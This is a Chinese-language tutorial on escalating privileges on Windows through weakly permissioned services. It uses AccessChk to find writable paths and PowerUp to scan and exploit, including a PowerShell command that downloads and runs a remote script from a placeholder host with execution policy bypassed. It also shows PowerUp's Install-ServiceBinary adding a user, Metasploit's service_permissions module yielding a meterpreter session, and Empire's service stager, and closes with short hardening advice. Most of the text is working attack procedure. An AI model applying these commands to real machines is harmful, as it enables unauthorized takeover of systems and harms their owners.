系统服务权限配置错误,在Windows系统中的服务权限都配置的那么完美总会有被忽视的地方,这些没有得到严格保护的系统服务,往往会被攻击者利用,系统服务权限设置有问题时,往往会导致如下风险,1、服务未运行攻击者会利用生成的服务替换掉原来的服务重启后提权,2、服务运行无法停止攻击者会利用dll劫持的方式重启服务进行提权,下面介绍的是服务未运行的方式进行提权。
AccessChk是微软提供的一款安全检查工具,是Sysintenals集合中的一款工具,使用它可以对Windows系统中的一些系统文件、服务、注册表等进行管理和维护排查等功能,可以很直观清晰的发现系统资源存在的缺陷,对其进行提权等,所以往往会被攻击者利用。
-c Name是服务名称,如spooler
-d 仅处理目录,或最高级的
-k Name是注册表项
-n 仅显示没有访问权限的对象
-p Name是进程或进程PID,例如svchost.exe
-r 仅显示具有读取访问权限的对象
-s 递归
-v 显示详细信息
-w 仅显示具有写入访问权限的对象
执行如下命令,攻击者可以用最高权限访问该目录,执行该目录下的恶意文件
第一次运行accesschk弹出一个许可协议对话框,输入accesschk.exe /accepteula可以自动接受协议
查看windows7系统中系统缺陷文件夹
Accesschk.exe -uwqs “AuthenticatedUsers” \
Accesschk.exe -uwdpsUsers \
Accesschk.exe -uwdpsUsers C:\*.*
Accesschk.exe -uwqs “AuthenticatedUsers” C:\Windows\*.*
Powerspolit中的powerup.ps1脚本扫描系统文件、服务等缺陷漏洞。
Empire中的powerup模块扫描系统文件、服务等缺陷漏洞。
通过msf上传PowerUp脚本执行allchecks
执行脚本:
powershell.exe -exec bypass "IEX (New-Object Net.Webclient).DownloadString('C:\Users\Admin\Desktop\PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.Webclient).DownloadString('http://x.x.x.x/x/x/x/powerup.ps1'); Invoke-AllChecks"
将msf刚刚上传的PowerUp脚本进行利用
powershell.exe -exec bypass "IEX (New-Object Net.Webclient).DownloadString('C:\Users\Admin\Desktop\PowerUp.ps1'); Install-ServiceBinary -ServiceName 'pentest' -UserName insec -PassWord 123456"
Msf中的service_permissions模块对有缺陷的服务进行提权,设置AGGRESSIVE为true的时候会可在第一次提权后继续提权测试,false的时候相反第一次提权后停止提权,返回一个meterpreter
使用Empire提权选择在得到一个agent(session)后,选择privesc/powerup/service_exe_stager模块,info设置参数
Set Agent ##获取到的agents
Set Listener ##设置的Listener
Set ServiceName ##有缺陷的服务
Execute ##执行
提权成功,前边小星号代表提权成功,如果一遍提权不成功多重启两下服务
最后注意事项!!!!!一定要把服务所在文件或文件夹的权限设为很高的权限,如将Everyone组设为读取、写入、执行等高权限否则提权不成功。
一定要严格把控好Windows服务的执行权限,如普通用户只有读取或没有权限,只有超级system用户能有最高的权限,其他用户均未低权限,严格把控服务路径的命名规则。
sc create xxx binpath= "C:\Program Files\xx\xx.exe (执行文件目录后面可以加执行文件的参数)" displayname= "pentest"(显示名称) start= auto
创建成功
结果这个服务起不来换个方式
利用工具创建服务
工具instsrv.exe和srvany.exe
下载链接: http://www.techeez.com/windows-tips/techeez-com-31/
Instsrv.exe 服务名称 C:\Windows\ssrvany.exe
1、Regedit.exe打开注册表到路径下
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services[service name]
2、右击“服务名”-“新建”-“项”命名为“Parameters”
3、右击“Parameters” -“新建”-“字符串值”命名为“Application”
4、右击“Application”-“新建”-“修改”,修改为自己应用程序的绝对路径
5、重启电脑就可以看到启动的服务了
Sc delete 服务名称
Instsrv.exe 服务名称 remove
http://www.techeez.com/windows-tips/techeez-com-31/